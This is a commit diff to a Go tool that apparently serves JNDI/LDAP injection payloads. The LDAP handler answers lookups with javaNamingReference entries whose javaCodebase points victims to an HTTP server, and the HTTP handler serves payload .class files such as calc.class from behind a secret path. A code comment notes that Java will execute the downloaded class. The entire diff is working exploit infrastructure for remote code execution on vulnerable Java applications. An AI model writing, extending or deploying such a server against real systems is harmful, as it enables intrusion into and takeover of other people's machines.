Skip to content

Commit 3eaea17

Browse files
committed
ldap.go: update javaClassName, Factory and Codebase in handleSearch.
1 parent db59ce8 commit 3eaea17

File tree

2 files changed

+8
-21
lines changed

2 files changed

+8
-21
lines changed

http.go

Lines changed: 3 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -25,14 +25,14 @@ func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
2525
}
2626
}()
2727

28-
// check url structure
28+
// check url structure(/secret/calc.class)
2929
sections := strings.SplitN(r.RequestURI, "/", 3)
3030
if len(sections) < 3 {
3131
h.logger.Println("[error]", "invalid request url structure:", r.RequestURI)
3232
return
3333
}
3434

35-
// compare secret
35+
// skip first section and compare secret
3636
if sections[0] != "" || sections[1] != h.secret {
3737
h.logger.Println("[warning]", "invalid secret:", sections[1])
3838
return
@@ -44,19 +44,7 @@ func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
4444
h.logger.Println("[warning]", "found slash in url:", r.RequestURI)
4545
return
4646
}
47-
48-
// convert "/secret/calc.class/Main.class" to "/secret/calc.class"
49-
// "/secret/Main.class/other.class" to "/secret/other.class"
50-
// path = strings.Replace(path, "Main.class", "", 1)
51-
// fmt.Println("path:", path)
52-
// path = filepath.Join(h.payloadDir, path)
53-
54-
idx := strings.LastIndex(path, "/")
55-
if idx == -1 {
56-
h.logger.Println("[error]", "invalid request url structure:", r.RequestURI)
57-
return
58-
}
59-
path = filepath.Join(h.payloadDir, path[:idx])
47+
path = filepath.Join(h.payloadDir, path)
6048

6149
// read file and send to client
6250
class, err := os.ReadFile(path)

ldap.go

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ import (
1010
type ldapHandler struct {
1111
logger *log.Logger
1212

13-
url string
13+
codeBase string
1414
}
1515

1616
func (h *ldapHandler) handleBind(w ldapserver.ResponseWriter, _ *ldapserver.Message) {
@@ -25,14 +25,13 @@ func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Me
2525
// the last "/" about attr can't be deleted, otherwise
2626
// java will not execute the downloaded class.
2727
addr := m.Client.Addr()
28-
attr := message.AttributeValue(h.url + dn + "/")
29-
h.logger.Printf("[exploit] %s search java codebase \"%s\"", addr, attr)
28+
h.logger.Printf("[exploit] %s search java class \"%s\"", addr, dn)
3029

3130
res := ldapserver.NewSearchResultEntry(dn)
3231
res.AddAttribute("objectClass", "javaNamingReference")
33-
res.AddAttribute("javaClassName", "Main")
34-
res.AddAttribute("javaFactory", "Main")
35-
res.AddAttribute("javaCodebase", attr)
32+
res.AddAttribute("javaClassName", message.AttributeValue(dn))
33+
res.AddAttribute("javaFactory", message.AttributeValue(dn))
34+
res.AddAttribute("javaCodebase", message.AttributeValue(h.codeBase))
3635
w.Write(res)
3736

3837
done := ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultSuccess)

0 commit comments

Comments
 (0)